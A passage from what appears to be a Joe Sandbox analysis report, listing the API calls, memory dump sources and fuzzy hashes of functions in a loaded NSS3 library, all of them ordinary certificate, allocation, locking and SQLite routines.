Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB0081B
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB00825

PR_Now.NSS3 ref: 6CAB2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CAB2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CAA2D1A), ref: 6CAB2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAA2D1A), ref: 6CAB2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAB2F81

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: d1ae2b5d64324279951304be5a90c0469891d82b131d0927515917ccb298be82
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: A031D5715011408BF714CE76DC48BAF726DEF81318F684B7BD429A7AD0EB3598DAC621

Function 6CAA0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CAA0A2C), ref: 6CAA0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CAA0A2C), ref: 6CAA0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CAA0A2C), ref: 6CAA0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CAA0A2C), ref: 6CAA0E90
free.MOZGLUE(00000000), ref: 6CAA0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CAA0A2C), ref: 6CAA0ED9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9176629275bc0c6b089d4231d53f0fc400580684ff9ca7fa1eaf61fab4410dbf
Instruction ID: b3d90ebfbaa937f3a9666ddf4cd54848aa7bcf1a465bc98fb16a0d94931795a1
Opcode Fuzzy Hash: 9176629275bc0c6b089d4231d53f0fc400580684ff9ca7fa1eaf61fab4410dbf
Instruction Fuzzy Hash: CA212E72F002845BEB3045E59C45B6B76BFDBC1748F1D0036D81A93A01EA61D8DA92A1

Function 6CAAAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAAAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CAAAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAAAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CAAAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBC9500), ref: 6CAAAF23

Part of subcall function 6CAFF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAFF0C8
Part of subcall function 6CAFF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAAAF37

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: ce6457d18b161aef0a9eaede05fa05f8f99aa8f746b26e48e35b2422cd190384
Instruction ID: 88b0e5b91fcf5ed16ca2d5cb7d504a0848270cbf1e854b5bcb331dd9365cdcde
Opcode Fuzzy Hash: ce6457d18b161aef0a9eaede05fa05f8f99aa8f746b26e48e35b2422cd190384
Instruction Fuzzy Hash: 6C212B719093405BEB104E58DC01B5E7BE5AF8572CF144318FC649B781E731D98A8BA7

Function 6CB2EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB2EE85
realloc.MOZGLUE(1CA903C2,?), ref: 6CB2EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CB2EEC5

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

htonl.WSOCK32(?), ref: 6CB2EEE3
htonl.WSOCK32(00000000,?), ref: 6CB2EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB2EF01

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: f012cf5c8f9f330b3ae5e23f5386edb533d2cd7a1d404a9acbcd0e70aeefb9bd
Instruction ID: 952e98c66999935377204e1626e1455dae92cba5a9462777d1b66c4be1d0bf56
Opcode Fuzzy Hash: f012cf5c8f9f330b3ae5e23f5386edb533d2cd7a1d404a9acbcd0e70aeefb9bd
Instruction Fuzzy Hash: 6C21E171A002949BCB10AF39DC806AE77A8EF49359F148168EC1DAB651E734E804CBE2

Function 6CAF5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF5D71), ref: 6CAF5F0A
TlsGetValue.KERNEL32 ref: 6CAF5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CAF5F2F
PR_Unlock.NSS3(890008E8), ref: 6CAF5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CAF5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CAF5F7D

Part of subcall function 6CAF5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CAF5F82,8B4274C0), ref: 6CAF5248
Part of subcall function 6CAF5220: EnterCriticalSection.KERNEL32(0F6CBC0D,?,6CAF5F82,8B4274C0), ref: 6CAF525C
Part of subcall function 6CAF5220: PR_SetError.NSS3(00000000,00000000), ref: 6CAF528E
Part of subcall function 6CAF5220: PR_Unlock.NSS3(0F6CBBF1), ref: 6CAF5299
Part of subcall function 6CAF5220: free.MOZGLUE(00000000), ref: 6CAF52A9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: efb96b7139395116e2c539cbbab74b38807eef8d1607e646458d9eb9530c3839
Instruction ID: 311542d5bf1102885f7d8b97c4f30ee67a6986f1152c09a2ff820c5af99a4282
Opcode Fuzzy Hash: efb96b7139395116e2c539cbbab74b38807eef8d1607e646458d9eb9530c3839
Instruction Fuzzy Hash: A421E7B5D002045FEB109F68EC41AEEBBB4EF09318F544029E91AA7701EB31A998CBD1

Function 6CAA7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA7F68

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CAA7F7B

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA7FA7

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBC919C,?), ref: 6CAA7FBB

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CBC915C,00000014), ref: 6CAA7FFE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: b41fbc4834a0203cf99bd882f4dfc04554fb837bf15a1cf5f7064dfc94061681
Instruction ID: 77fde98d7a2545423b7dbbc5a79611c38026581d1d91e05834cda0cc39cd81d5
Opcode Fuzzy Hash: b41fbc4834a0203cf99bd882f4dfc04554fb837bf15a1cf5f7064dfc94061681
Instruction Fuzzy Hash: 9011E771E0024466F6109A65AD41BBF77FCDF4965CF08062DFC69D3B82F720A689C2A6

Function 6CAABE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CB2DC29,?), ref: 6CAABE64

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CB2DC29,?), ref: 6CAABE78

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CB2DC29,?), ref: 6CAABE96

Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CB2DC29,?), ref: 6CAABEBB

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CB2DC29,?), ref: 6CAABEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CB2DC29,?), ref: 6CAABEF3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 1057ca36f6ad80cd7730c801d55ece6eaa6f38ab0cc1d595477fbaa186acbb9a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 7311EB71F002495BEB108BA4ED01F6E3BB8DF41248F184129ED08D7741FB31D959C7A1

Function 6CB33C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CB35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB33D3F

Part of subcall function 6CAABA90: PORT_NewArena_Util.NSS3(00000800,6CB33CAF,?), ref: 6CAABABF
Part of subcall function 6CAABA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CB33CAF,?), ref: 6CAABAD5
Part of subcall function 6CAABA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CB33CAF,?), ref: 6CAABB08
Part of subcall function 6CAABA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB33CAF,?), ref: 6CAABB1A
Part of subcall function 6CAABA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CB33CAF,?), ref: 6CAABB3B

PR_EnterMonitor.NSS3(?), ref: 6CB33CCB

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

PR_EnterMonitor.NSS3(?), ref: 6CB33CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB33CF8
PR_ExitMonitor.NSS3(?), ref: 6CB33D15
PR_ExitMonitor.NSS3(?), ref: 6CB33D2E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 8a67af577a20323c620e0ef3f88a2689e1fe868ab48793aeff26cfc553df7cc8
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 90112BB5A506A06FE7215E65FC4179FB2E8EF11608F505534E40EC7B20E632F81EC653

Function 6CAFFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAFFE08

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAFFE1D

Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAFFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAFFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAFFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CAFFE6F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: b3fe754ef3d8df59e77c40527cc0c5d4bcd27393c5fd1ccbb52be848012a5aee
Instruction ID: df7c7c7245ef3cbfdb93ad6b83ffa6f269aa1abc4857519ef02ff1c9c54d8f46
Opcode Fuzzy Hash: b3fe754ef3d8df59e77c40527cc0c5d4bcd27393c5fd1ccbb52be848012a5aee
Instruction Fuzzy Hash: 5011E5B7A00241ABEB008F55EC40A5B7BE8EF54299F188038F93997B12E731E995C791

Function 6CBAFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CBAFD9E

Part of subcall function 6CB69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA91A48), ref: 6CB69BB3
Part of subcall function 6CB69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA91A48), ref: 6CB69BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CBAFDB9

Part of subcall function 6CA8A900: TlsGetValue.KERNEL32(00000000,?,6CC014E4,?,6CA24DD9), ref: 6CA8A90F
Part of subcall function 6CA8A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA8A94F

PR_Unlock.NSS3 ref: 6CBAFDD4
PR_Lock.NSS3 ref: 6CBAFDF2
PR_NotifyAllCondVar.NSS3 ref: 6CBAFE0D
PR_Unlock.NSS3 ref: 6CBAFE23

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 5f1d710f602f950452473dceb3442d59837b89d4f4b59e63ceb98a91fb22e493
Instruction ID: 487488c7ff2dcc92b2268c1ebd4785dc7db59e933f42310ce931c5eef59ae6cd
Opcode Fuzzy Hash: 5f1d710f602f950452473dceb3442d59837b89d4f4b59e63ceb98a91fb22e493
Instruction Fuzzy Hash: E6018EB6B042919BDF054FA9FC00895B771EB0226C7154379E86647BF1E722DD29C782

Function 6CA8AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA8AFDA

Strings

misuse, xrefs: 6CA8AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA8AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CA8AF5C
%s at line %d of [%.10s], xrefs: 6CA8AFD3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 7ddad1854f9b4d4601d90907b29399740ef1d935e98caf99155b7ee848e782e5
Instruction ID: 7e6b3f418457a3e541bd5484552d4c054fee477f935597f1c6d2079941c5b15d
Opcode Fuzzy Hash: 7ddad1854f9b4d4601d90907b29399740ef1d935e98caf99155b7ee848e782e5
Instruction Fuzzy Hash: EE91F275B062158FDB04CF69C850BAABBF2BF49314F1D85A8E865AB791D730EC41CB60

Function 6CAEFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CAEFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAEFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAEFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CAEFDDE

Part of subcall function 6CAF8800: TlsGetValue.KERNEL32(?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8821
Part of subcall function 6CAF8800: TlsGetValue.KERNEL32(?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF883D
